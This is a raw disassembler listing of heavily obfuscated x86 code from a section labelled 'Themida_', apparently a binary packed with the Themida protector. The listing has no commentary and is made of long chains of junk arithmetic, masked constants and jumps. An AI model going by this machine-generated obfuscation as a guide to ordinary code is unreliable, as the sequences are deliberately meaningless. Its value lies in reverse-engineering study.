xor eax, 3F8D4EFAh
mov edi, eax
pop eax
dec edi
jmp loc_5969EA
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
pop edx
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58E90A: ; CODE XREF: sub_59196D+501Bj
pop edx
sub edi, 0B74E9808h
jmp loc_58CF3F
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_58E916 proc near ; DATA XREF: Themida_:0058B130o
var_4 = dword ptr -4
mov cx, [esp+0]
push 3D45h
mov [esp+4+var_4], edx
mov edx, esp
push ebx
push 27953140h
pop ebx
jmp loc_593E3B
sub_58E916 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58E930: ; CODE XREF: sub_59196D+1ECCj
xor edx, 7F14679Ah
push edx
xor [esp+1Eh+var_1E], 9C654EAh
mov eax, [esp+1Eh+var_1E]
add esp, 4
push 6489h
jmp loc_58E1BB
; ---------------------------------------------------------------------------
loc_58E951: ; CODE XREF: sub_59196D-3A04j
sub ch, 0
add ch, 6
sub al, ch
jmp loc_5976E1
; ---------------------------------------------------------------------------
loc_58E95E: ; CODE XREF: sub_59196D+3C2Aj
pop dx
mov dl, bh
jmp loc_59831C
; ---------------------------------------------------------------------------
loc_58E967: ; CODE XREF: sub_59196D+2F07j
xor ecx, [esp+2Ah+var_2A]
jmp loc_597F99
; ---------------------------------------------------------------------------
loc_58E96F: ; CODE XREF: sub_59196D+4B23j
pop small word ptr [eax]
jmp loc_5944CE
; ---------------------------------------------------------------------------
loc_58E977: ; CODE XREF: sub_59196D+2285j
pop eax
add edx, 2
jmp loc_596D13
; ---------------------------------------------------------------------------
loc_58E983: ; CODE XREF: sub_59196D+35CFj
add ebp, edx
jmp loc_591945
; ---------------------------------------------------------------------------
loc_58E98A: ; CODE XREF: sub_59196D+19E9j
pop eax
sub ebx, 4
xchg ebx, [esp+20h+var_22+2]
mov esp, [esp+20h+var_22+2]
mov [esp+20h+var_22+2], ecx
jmp loc_5923D7
; ---------------------------------------------------------------------------
loc_58E99F: ; CODE XREF: sub_59196D-2107j
and eax, ecx
jmp loc_593417
; ---------------------------------------------------------------------------
loc_58E9A6: ; CODE XREF: sub_59196D+6037j
sub edi, 12FD31E5h
add edi, 373130ADh
jmp loc_595A26
; ---------------------------------------------------------------------------
loc_58E9B7: ; CODE XREF: sub_59196D-1717j
jz loc_58DB41
xor esi, 7A484406h
xor esi, edi
mov edi, [esp+20h+var_22+2]
add esp, 4
jmp loc_592310
; ---------------------------------------------------------------------------
loc_58E9D3: ; CODE XREF: sub_59196D-235j
add ebx, 0FFFFFFFFh
sub ebx, 6C382915h
push ebp
jmp loc_591557
; ---------------------------------------------------------------------------
loc_58E9E2: ; CODE XREF: sub_59196D-54C2j
imul cx
push small 5917h
jmp loc_58D17E
; ---------------------------------------------------------------------------
loc_58E9EE: ; CODE XREF: sub_59196D+4AEBj
jmp loc_592CBA
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_58E9F3: ; CODE XREF: Themida_:0058B993j
push 2E1Ch
mov [esp], eax
sub esp, 4
mov [esp], esp
jmp loc_58FD3B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58EA09: ; CODE XREF: sub_59196D+20F4j
jns loc_592D66
jmp loc_59724C
; ---------------------------------------------------------------------------
loc_58EA14: ; CODE XREF: sub_59196D+539j
add esp, 4
push 1F3Ah
mov [esp+1Ch+var_1E+2], edx
mov edx, 6331EFDh
sub ebx, edx
pop edx
and eax, ebx
mov ebx, [esp+18h+var_1A+2]
add esp, 4
shr eax, 0Ch
jmp loc_598625
; ---------------------------------------------------------------------------
loc_58EA3A: ; CODE XREF: sub_59196D+5816j
and esi, 3BDA1FE7h
jbe loc_591E76
jmp loc_58F50F
; ---------------------------------------------------------------------------
loc_58EA4B: ; CODE XREF: sub_59196D-230Cj
sub edi, 4A27643Bh
xor edi, 0B5DBF1C3h
add ecx, edi
pop edi
jmp loc_597E06
; ---------------------------------------------------------------------------
loc_58EA5F: ; CODE XREF: sub_59196D+659Aj
mov dl, cl
jmp loc_58B94E
; ---------------------------------------------------------------------------
loc_58EA66: ; CODE XREF: sub_59196D+2BF8j
pop esp
jmp loc_594959
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5917FA
loc_58EA6C: ; CODE XREF: sub_5917FA+Fj
pop cx
push ebx
mov bh, 0A7h
jmp loc_5930C1
; END OF FUNCTION CHUNK FOR sub_5917FA
; ---------------------------------------------------------------------------
word_58EA76 dw 0F180h ; CODE XREF: sub_59196D+3A6Aj
; ---------------------------------------------------------------------------
mov byte ptr [edi], 80h
pmulhuw mm7, mm7
call dword ptr [eax-4Ch]
fild word ptr [eax-0B7F5C14h]
retn
; ---------------------------------------------------------------------------
add cl, 9Ch
add cl, ah
jmp loc_595A8A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58EA92: ; CODE XREF: sub_59196D+3B70j
xchg edi, [esp+0Ch+var_C]
pop esp
mov [esp+8+var_8], edx
push esp
pop edx
add edx, 4
push 7701h
mov [esp+0Ch+var_C], esi
jmp loc_5905CB
; ---------------------------------------------------------------------------
loc_58EAAE: ; CODE XREF: sub_59196D+596Dj
mov ebx, 71740823h
mov esi, 0A5707D24h
sub esi, ebx
jmp loc_592937
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
sub esp, 2
mov [esp], si
push small word ptr [esp+2]
pop si
pop small word ptr [esp]
push small 0CE1h
mov [esp], si
xchg dx, [esp]
push dx
xchg si, [esp]
not si
xchg si, [esp]
pop dx
xchg dx, [esp]
mov si, [esp]
push eax
mov eax, esp
add eax, 4
push edx
mov edx, 2
add eax, edx
pop edx
jmp loc_5919D3
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58EB0A: ; CODE XREF: sub_59196D+22D7j
pop ebx
push ebx
mov bh, 0F9h
sub bh, 0C7h
or bh, 39h
add bh, 63h
add dl, bh
mov ebx, [esp+0Ch+var_C]
add esp, 4
shr dl, 5
inc dl
push ecx
jmp loc_5975D1
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_58EB2A: ; CODE XREF: Themida_:0058BC3Aj
push eax
mov eax, 20A2584Eh
shr eax, 5
shl eax, 3
jmp loc_595AED
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58EB3B: ; CODE XREF: sub_59196D-53F3j
pop ebx
add ecx, edx
pop edx
xor ecx, 74E506A5h
sub eax, 76BA06F0h
add eax, ecx
add eax, 76BA06F0h
jmp loc_58FC38
; ---------------------------------------------------------------------------
loc_58EB56: ; CODE XREF: sub_59196D+17D3j
mov word ptr [esp+6+var_8+2], ax
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58EB5F: ; CODE XREF: sub_59196D+E1Cj
sub al, bl
add al, 9
add al, 0BBh
push 2249h
mov [esp+0Ah+var_C+2], ecx
push eax
mov al, 86h
mov cl, 0
xor cl, al
push dword ptr [esp+0]
pop eax
add esp, 4
jmp loc_594A12
; ---------------------------------------------------------------------------
loc_58EB83: ; CODE XREF: sub_59196D+3FEj
add esi, 7FC4572Dh
jmp loc_5914A1
; ---------------------------------------------------------------------------
loc_58EB8E: ; CODE XREF: sub_59196D-16CCj
mov [esp+0Ah+var_C+2], edi
mov edi, 0D15566Fh
shr edi, 2
push esi
mov esi, 9D2EE02Ch
sub edi, esi
push dword ptr [esp+0]
jmp loc_58C42F
; ---------------------------------------------------------------------------
loc_58EBA9: ; CODE XREF: sub_59196D+5C2Aj
pop eax
add ch, dl
pop edx
jmp loc_594AFA
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59069A
loc_58EBB2: ; CODE XREF: sub_59069A+1j
mov ebx, 3E1D2598h
jmp loc_58C5EB
; END OF FUNCTION CHUNK FOR sub_59069A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59192A
loc_58EBBC: ; CODE XREF: sub_59192A+16j
add dl, 0FEh
sub dl, 0Fh
jmp loc_58BACE
; END OF FUNCTION CHUNK FOR sub_59192A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58EBC7: ; CODE XREF: sub_59196D+31C9j
shl ebx, 8
neg ebx
push esi
jmp loc_58E69C
; ---------------------------------------------------------------------------
loc_58EBD2: ; CODE XREF: sub_59196D+5A8Cj
mov ebp, 53B94CC2h
dec ebp
neg ebp
shr ebp, 3
neg ebp
xor ebp, 42F85E0Dh
sub ebp, 0BB3CBE96h
sub ecx, ebp
pop ebp
and edi, ecx
mov ecx, [esp+0Ah+var_C+2]
add esp, 4
jmp loc_596ADF
; ---------------------------------------------------------------------------
loc_58EBFE: ; CODE XREF: sub_59196D+6827j
js loc_593B76
jmp loc_58E097
; ---------------------------------------------------------------------------
loc_58EC09: ; CODE XREF: sub_59196D-6113j
push eax
mov eax, esp
add eax, 4
push ebx
mov ebx, 7766787h
not ebx
xor ebx, 0DB0DF943h
neg ebx
jmp loc_5958AA
; ---------------------------------------------------------------------------
loc_58EC26: ; CODE XREF: sub_59196D-1F3Bj
sub esi, 6DA04816h
sub esi, 1
neg esi
jmp loc_594B5F
; ---------------------------------------------------------------------------
loc_58EC39: ; CODE XREF: sub_59196D+6A40j
mov edx, esp
add edx, 4
add edx, 4
sub esp, 4
mov [esp+28h+var_2A+2], edx
push [esp+28h+var_26+2]
jmp loc_58F2C2
; ---------------------------------------------------------------------------
loc_58EC56: ; CODE XREF: sub_59196D+5FE6j
push eax
mov eax, 72C122EAh
mov edx, eax
pop eax
xor esi, edx
pop edx
or esi, 1E126BA0h
or esi, 85178CDh
inc esi
sub esi, 0C2A5724Bh
jmp loc_595E7F
; ---------------------------------------------------------------------------
loc_58EC7A: ; CODE XREF: sub_59196D+3920j
xor dh, 0BAh
shl dh, 4
dec dh
add dh, 0EDh
add al, dh
mov edx, [esp+28h+var_2A+2]
jmp sub_58C376
; ---------------------------------------------------------------------------
loc_58EC8F: ; CODE XREF: sub_59196D-5C09j
pop eax
sub bl, al
sub bl, 19h
push dx
mov dl, 89h
add bl, 2Bh
jmp loc_58B67B
; ---------------------------------------------------------------------------
loc_58ECA1: ; CODE XREF: sub_59196D+212Bj
mov ebp, 6D08759Eh
mov eax, 6D08759Ah
xor eax, ebp
mov ebp, [esp+20h+var_22+2]
jmp loc_594879
; ---------------------------------------------------------------------------
loc_58ECB5: ; CODE XREF: sub_59196D+2014j
add edi, 4
xchg edi, [esp+20h+var_22+2]
pop esp
push ebp
push esi
mov esi, 31DC6216h
mov ebp, esi
pop esi
shl ebp, 8
or ebp, 3257141Dh
add ebp, 674784Dh
shr ebp, 5
jmp loc_59459D
; ---------------------------------------------------------------------------
loc_58ECE0: ; CODE XREF: sub_59196D+5022j
sub bl, dh
jmp loc_58B6C8
; ---------------------------------------------------------------------------
loc_58ECE7: ; CODE XREF: sub_59196D-2147j
or dh, 62h
and dh, 0B9h
xor dh, 0C4h
sub ch, dh
pop edx
add dh, ch
pop ecx
sub esp, 2
mov word ptr [esp+1Ch+var_1E+2], bx
jmp loc_595220
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_58ED05 proc near ; CODE XREF: sub_59196D+3D2Aj
var_C = dword ptr -0Ch
var_8 = dword ptr -8
; FUNCTION CHUNK AT 0058D5B5 SIZE 0000000E BYTES
push ebp
sub esp, 4
mov [esp+8+var_8], esi
mov esi, 0D110E8Eh
neg esi
jbe loc_58D5B5
push 626Ah
mov [esp+0Ch+var_C], eax
push edi
jmp loc_5932AC
sub_58ED05 endp
; ---------------------------------------------------------------------------
pop ebx
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58ED2B: ; CODE XREF: sub_59196D+5ECj
not [esp+1Ch+var_1E+2]
pop ebx
neg ebx
shl ebx, 1
and ebx, 1AFC641Bh
xor ebx, 10B8441Ch
jmp loc_59076C
; ---------------------------------------------------------------------------
loc_58ED44: ; CODE XREF: sub_59196D+20A0j
pop edi
add eax, 289C1041h
add eax, edx
push edi
jmp loc_58E161
; ---------------------------------------------------------------------------
loc_58ED52: ; CODE XREF: sub_59196D+4C41j
pop ebx
jmp loc_590362
; ---------------------------------------------------------------------------
loc_58ED58: ; CODE XREF: sub_59196D+61F5j
xor ah, 51h
jmp loc_593BBF
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_58ED60 proc near ; CODE XREF: sub_59196D-23E2j
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0058F4AF SIZE 0000000D BYTES
sub esp, 4
mov [esp+4+var_4], esi
sub esp, 4
mov [esp+8+var_8], esp
add [esp+8+var_8], 4
pop esi
add esi, 4
push ecx
mov ecx, 4
jmp loc_58F4AF
sub_58ED60 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58ED82: ; CODE XREF: sub_59196D+6C0Dj
push 7D74h
mov [esp+18h+var_1A+2], ebp
xchg eax, [esp+18h+var_1A+2]
jmp loc_58D34C
; ---------------------------------------------------------------------------
loc_58ED92: ; CODE XREF: sub_59196D+686j
pop esp
and ecx, eax
mov eax, [esp+14h+var_16+2]
push edi
mov edi, esp
jmp sub_5918E7
; ---------------------------------------------------------------------------
loc_58EDA0: ; CODE XREF: sub_59196D+42A1j
pop ebx
jmp loc_595909
; ---------------------------------------------------------------------------
loc_58EDA6: ; CODE XREF: sub_59196D:loc_58CB99j
; sub_59196D-4B30j
shr ecx, 3
sub ecx, 889AE715h
xor ebp, ecx
pop ecx
add edx, ebp
mov ebp, [esp+28h+var_2A+2]
add esp, 4
jmp loc_5908E4
; ---------------------------------------------------------------------------
loc_58EDC2: ; CODE XREF: sub_59196D-4F84j
add ecx, 24191EFEh
jmp loc_597170
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
lodsb
sub al, 0EDh
jmp loc_596848
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58EDD5: ; CODE XREF: sub_59196D-37AAj
xor eax, ecx
pop ecx
mov edx, [esp+30h+var_32+2]
sub esp, 4
jmp loc_591638
; ---------------------------------------------------------------------------
loc_58EDE3: ; CODE XREF: sub_59196D-652Ej
mov eax, 27845D00h
jmp loc_595415
; ---------------------------------------------------------------------------
loc_58EDED: ; CODE XREF: sub_59196D-5FCFj
; sub_59196D+591j
mov esp, [esp+20h+var_22+2]
jmp loc_58E297
; ---------------------------------------------------------------------------
loc_58EDF5: ; CODE XREF: sub_59196D+3B51j
push eax
jmp loc_593489
; ---------------------------------------------------------------------------
loc_58EDFB: ; CODE XREF: sub_59196D-3F6Fj
mov [esp+0Ch+var_C], esi
push [esp+0Ch+var_8]
pop esi
pop [esp+0Ch+var_C]
pop esp
mov [esp+4+var_4], eax
mov eax, 1363750Ch
jmp loc_595D96
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_58EE14 proc near ; DATA XREF: Themida_:0058B194o
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 4
mov [esp+4+var_4], ecx
push 0FFFFFBFFh
mov ecx, [esp+8+var_8]
push edi
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp+0Ch+var_C]
pop esp
and [edi+1Ch], ecx
mov ecx, [esp+8+var_8]
sub esp, 4
mov [esp+0Ch+var_C], eax
push 47B1h
mov [esp+10h+var_10], esp
jmp loc_5919C0
sub_58EE14 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58EE4B: ; CODE XREF: sub_59196D+63E0j
add esi, 3BDA6D11h
shl esi, 3
add esi, 13B13863h
xor esi, 0F2A52167h
jmp loc_5946AF
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_58EE65: ; CODE XREF: Themida_:0058E722j
push eax
mov al, 67h
jmp loc_58FE1A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58EE6D: ; CODE XREF: sub_59196D+BD5j
mov [esp+4+var_4], edx
mov edx, esp
jmp loc_58B682
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
pop dword ptr [edx]
jmp loc_590AA9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58EE7E: ; CODE XREF: sub_59196D+5E05j
neg esi
jo loc_5902A6
jmp loc_58BB97
; ---------------------------------------------------------------------------
loc_58EE8B: ; CODE XREF: sub_59196D+8B2j
pop esp
jmp loc_592B5C
; ---------------------------------------------------------------------------
loc_58EE91: ; CODE XREF: sub_59196D+38AEj
sub esp, 4
mov [esp+4+var_4], edx
jmp loc_58E8AF
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_58EE9C: ; DATA XREF: Themida_:0058B0ECo
mov cx, [esp]
jmp loc_5965ED
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58EEA5: ; CODE XREF: sub_59196D-41FAj
add ebx, 4
push esi
mov esi, 5F9925A5h
shr esi, 8
and esi, 291330F2h
jmp loc_58F9D4
; ---------------------------------------------------------------------------
loc_58EEBF: ; CODE XREF: sub_59196D+6B6Dj
add eax, edi
pop edi
jmp loc_58D26E
; ---------------------------------------------------------------------------
loc_58EEC7: ; CODE XREF: sub_59196D-1BBCj
mov edi, esp
jmp loc_58C902
; ---------------------------------------------------------------------------
loc_58EECE: ; CODE XREF: sub_59196D+64D6j
xchg esi, [esp+3Eh+var_40+2]
pop esp
mov [esp+3Ah+var_3C+2], ecx
jmp loc_58E1EA
; ---------------------------------------------------------------------------
loc_58EEDA: ; CODE XREF: sub_59196D-1040j
sub edx, 0A842F74h
jmp loc_5938FF
; ---------------------------------------------------------------------------
loc_58EEE5: ; CODE XREF: sub_59196D+5603j
; sub_59196D+5FB4j
pop eax
jmp loc_598041
; ---------------------------------------------------------------------------
loc_58EEEB: ; CODE XREF: sub_59196D-4FC6j
sub edi, ebx
jmp loc_5966A3
; ---------------------------------------------------------------------------
loc_58EEF2: ; CODE XREF: sub_59196D+4710j
or edx, edi
jmp loc_593202
; ---------------------------------------------------------------------------
loc_58EEF9: ; CODE XREF: sub_59196D-46F0j
mov ecx, [esp+3Ah+var_3C+2]
add esp, 4
xchg eax, [esp+36h+var_36]
jmp loc_58B5C0
; ---------------------------------------------------------------------------
loc_58EF07: ; CODE XREF: sub_59196D+2ADj
and ebx, ecx
pop ecx
sub ebx, 406291Ch
add ebp, ebx
jmp loc_58BEB1
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
jmp loc_592701
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58EF1C: ; CODE XREF: sub_59196D-5977j
or ecx, 48132CAAh
xor ecx, 0CCD4CAC0h
sub edx, ecx
jmp loc_59564C
; ---------------------------------------------------------------------------
loc_58EF2F: ; CODE XREF: sub_59196D-22EEj
add eax, 7A44530Fh
sub edi, eax
pop eax
pop eax
xor edi, [esp-8+arg_4]
xor [esp-8+arg_4], edi
xor edi, [esp-8+arg_4]
pop esp
mov fs:[edx], al
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58EF4A: ; CODE XREF: sub_59196D+932j
add esi, 7A607138h
add esi, ebx
sub esi, 7A607138h
jmp loc_58D847
; ---------------------------------------------------------------------------
loc_58EF5D: ; CODE XREF: sub_59196D+2A61j
pop edi
xor edi, 17F27C7Bh
jge loc_5940F0
jmp loc_58F160
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
jmp loc_58F239
; ---------------------------------------------------------------------------
pop eax
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58EF75: ; CODE XREF: sub_59196D+2076j
test cx, ax
pushf
jmp loc_58B37B
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_58EF7E proc near ; CODE XREF: sub_59196D-407Fj
; FUNCTION CHUNK AT 005917B4 SIZE 0000000B BYTES
push ebp
mov ebp, 1DD20E24h
mov ebx, 25CE2FF2h
xor ebx, ebp
pop ebp
mov edx, 381C21D2h
xor edx, ebx
jmp loc_5917B4
sub_58EF7E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58EF98: ; CODE XREF: sub_59196D+2375j
; sub_59196D+5965j
add esp, 4
push 6305h
mov [esp-0Ch+arg_8], ecx
push edi
mov edi, 42816379h
shl edi, 3
add edi, 0EBF4E638h
mov ecx, edi
pop edi
jmp loc_595B6D
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
jmp loc_595099
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58EFC9: ; CODE XREF: sub_59196D-113j
xchg edi, [esp-0Ch+arg_8]
jmp loc_58C429
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58FC53
loc_58EFD1: ; CODE XREF: sub_58FC53+3j
shl bl, 7
push ecx
mov ch, 0C0h
sub bl, ch
pop ecx
xor bl, 57h
mov cl, bl
pop ebx
push ebx
mov bl, 47h
jmp loc_58CE11
; END OF FUNCTION CHUNK FOR sub_58FC53
; ---------------------------------------------------------------------------
mov esp, [esp]
jmp loc_5912E1
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58EFF0: ; CODE XREF: sub_59196D+517Bj
pop ecx
add esp, 4
jmp loc_597908
; ---------------------------------------------------------------------------
loc_58EFF9: ; CODE XREF: sub_59196D+3A41j
sub eax, ebx
jmp loc_59328F
; ---------------------------------------------------------------------------
loc_58F000: ; CODE XREF: sub_59196D+4D27j
mov ecx, 4
add eax, 61E0E03h
sub eax, ecx
jmp loc_5935D6
; ---------------------------------------------------------------------------
loc_58F011: ; CODE XREF: sub_59196D-1417j
push 6B5Ah
jmp loc_59771D
; ---------------------------------------------------------------------------
loc_58F01B: ; CODE XREF: sub_59196D-EB5j
xor ebp, eax
xor eax, ebp
xor ebp, eax
not eax
xchg eax, ebp
xchg ebp, edx
sub esp, 4
mov [esp-0Ch+arg_8], edx
push [esp-0Ch+arg_C]
pop edx
pop [esp-0Ch+arg_8]
mov eax, [esp-10h+arg_C]
jmp loc_58F82B
; ---------------------------------------------------------------------------
loc_58F03C: ; CODE XREF: sub_59196D-5E63j
jmp loc_58DDD2
; ---------------------------------------------------------------------------
loc_58F041: ; CODE XREF: sub_59196D+5D4Bj
push esi
mov esi, esp
add esi, 4
push eax
mov eax, 4
sub esi, eax
pop eax
jmp loc_5911E0
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_58F058: ; CODE XREF: Themida_:0058FBC2j
push ebp
mov ebp, 3A200A04h
add ebp, 6124FD3h
neg ebp
shr ebp, 3
sub ebp, 0CABD5598h
jmp loc_596D20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58F074: ; CODE XREF: sub_59196D+20E0j
jmp loc_58B37B
; ---------------------------------------------------------------------------
loc_58F079: ; CODE XREF: sub_59196D-4CCAj
sub [esp+40h+var_40], 50365834h
pop dword ptr [edi+20h]
jmp loc_594FD2
; ---------------------------------------------------------------------------
loc_58F088: ; CODE XREF: sub_59196D-4925j
sub ebx, 6CED02F9h
jmp loc_595C13
; ---------------------------------------------------------------------------
loc_58F093: ; CODE XREF: sub_59196D+27E1j
add ecx, 727F203Ah
add ecx, edi
sub ecx, 727F203Ah
mov eax, [ecx]
mov ecx, [esp+14h+var_16+2]
jmp loc_58DD16
; ---------------------------------------------------------------------------
loc_58F0AB: ; CODE XREF: sub_59196D+3E65j
pop ecx
jmp loc_59556B
; ---------------------------------------------------------------------------
loc_58F0B1: ; CODE XREF: sub_59196D+36F7j
; sub_59196D+6983j
push edi
push edx
mov edx, 38867095h
mov edi, edx
pop edx
jmp loc_59218B
; ---------------------------------------------------------------------------
loc_58F0C0: ; CODE XREF: sub_59196D-4C5Ej
jmp loc_5920B2
; ---------------------------------------------------------------------------
loc_58F0C5: ; CODE XREF: sub_59196D+49F4j
pop eax
add eax, 4
jmp loc_595E47
; ---------------------------------------------------------------------------
loc_58F0D0: ; CODE XREF: sub_59196D-972j
xchg esi, ecx
neg ecx
neg ecx
sub ecx, 0D7B1C637h
mov ebx, ecx
pop ecx
mov ecx, 1A3F2FC3h
xor ecx, ebx
pop ebx
sub ecx, 1903176Fh
add ecx, edi
add ecx, 1903176Fh
jmp sub_590677
; END OF FUNCTION CHUNK FOR sub_59196D
; =============== S U B R O U T I N E =======================================
sub_58F0FA proc near ; CODE XREF: sub_59196D-11Bj
arg_0 = dword ptr 4
push ebx
mov ebx, 70B01BBEh
mov esi, 0CC562934h
add esi, ebx
pop ebx
add [esp+arg_0], esi
mov esi, [esp+0]
push esi
mov esi, esp
add esi, 4
jmp loc_594D23
sub_58F0FA endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58F11D: ; CODE XREF: sub_59196D-45FFj
pop dword ptr [esp+0]
pop esp
push edx
mov edx, esp
jmp sub_58E727
; ---------------------------------------------------------------------------
loc_58F129: ; CODE XREF: sub_59196D-30D6j
mov edx, [esp+14h+var_16+2]
add esp, 4
add al, 7Fh
add al, cl
push edx
jmp loc_594DB3
; ---------------------------------------------------------------------------
loc_58F13C: ; CODE XREF: sub_59196D-62DDj
add esp, 4
shr edi, 4
add edi, 33000E53h
push eax
mov eax, 3A5D62B6h
sub edi, eax
pop eax
add ebx, edi
pop edi
jmp loc_594C3A
; ---------------------------------------------------------------------------
loc_58F159: ; CODE XREF: sub_59196D-1B93j
add eax, esi
jmp loc_590395
; ---------------------------------------------------------------------------
loc_58F160: ; CODE XREF: sub_59196D-2A03j
; sub_59196D+5D62j
and ebx, 23D25EE9h
xor ebx, 7B711058h
sub edi, ebx
pop ebx
add edi, 0EFD38459h
jmp loc_5926F1
; ---------------------------------------------------------------------------
loc_58F17A: ; CODE XREF: sub_59196D-5957j
mov [esp+18h+var_1A+2], eax
push ebp
pop eax
jmp loc_58CBFF
; ---------------------------------------------------------------------------
loc_58F184: ; CODE XREF: sub_59196D-6014j
pop eax
pop ecx
jmp loc_58C229
; ---------------------------------------------------------------------------
loc_58F18B: ; CODE XREF: sub_59196D+323Cj
xor bh, byte ptr [esp+18h+var_1A+3]
xor byte ptr [esp+18h+var_1A+3], bh
not bh
xor byte ptr [esp+18h+var_1A+3], bh
xor bh, byte ptr [esp+18h+var_1A+3]
jmp loc_5926E8
; ---------------------------------------------------------------------------
loc_58F1A2: ; CODE XREF: sub_59196D-1BA9j
mov esi, 74999BC4h
sub edx, esi
pop esi
sub edi, edx
push [esp+14h+var_16+2]
jmp loc_5958C5
; ---------------------------------------------------------------------------
loc_58F1B4: ; CODE XREF: sub_59196D+3EAEj
and ebx, edi
mov edi, [esp+18h+var_1A+2]
push edi
mov edi, esp
jmp loc_58CBB3
; ---------------------------------------------------------------------------
loc_58F1C1: ; CODE XREF: sub_59196D+2588j
push [esp+1Ch+var_1E+2]
jmp loc_59405B
; ---------------------------------------------------------------------------
loc_58F1C9: ; CODE XREF: sub_59196D+69B0j
shr dl, 6
jmp loc_591362
; ---------------------------------------------------------------------------
loc_58F1D1: ; CODE XREF: sub_59196D+568j
mov [esp+20h+var_22+2], ebx
mov bl, 0D1h
mov cl, bl
jmp loc_590BDA
; ---------------------------------------------------------------------------
loc_58F1DD: ; CODE XREF: sub_59196D+39A4j
sub eax, 226E0CECh
sub eax, 2FC5671h
add eax, ecx
add eax, 2FC5671h
jmp loc_58DDE5
; ---------------------------------------------------------------------------
loc_58F1F3: ; CODE XREF: sub_59196D-1CF9j
xor [esp+20h+var_22+2], edi
xor edi, [esp+20h+var_22+2]
xor [esp+20h+var_22+2], edi
pop ebp
xor ebp, 0BBED95E6h
jmp loc_5916AC
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
sbb [esp], al
pushf
jmp loc_58B37B
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58F217: ; CODE XREF: sub_59196D-5A6Fj
pop edx
xchg ebx, [esp+10h+var_12+2]
mov esp, [esp+10h+var_12+2]
jmp loc_59244C
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
loc_58F223: ; DATA XREF: Themida_:0058B10Co
push dword ptr [esp]
pop eax
jmp loc_591E02
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59196D
loc_58F22C: ; CODE XREF: sub_59196D-424j
add al, bl
pop ebx
sub bl, al
push [esp+0Ch+var_C]
jmp loc_596193
; ---------------------------------------------------------------------------
loc_58F239: ; CODE XREF: Themida_:0058EF6Fj
; sub_59196D+2C2Bj
push 58793945h
pop ecx
jmp loc_596615
; END OF FUNCTION CHUNK FOR sub_59196D
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_58F42B
loc_58F244: ; CODE XREF: sub_58F42B+6j
mov edi, 382E7B0Eh
add edi, 705A0CCCh
jmp loc_58E503
; END OF FUNCTION CHUNK FOR sub_58F42B
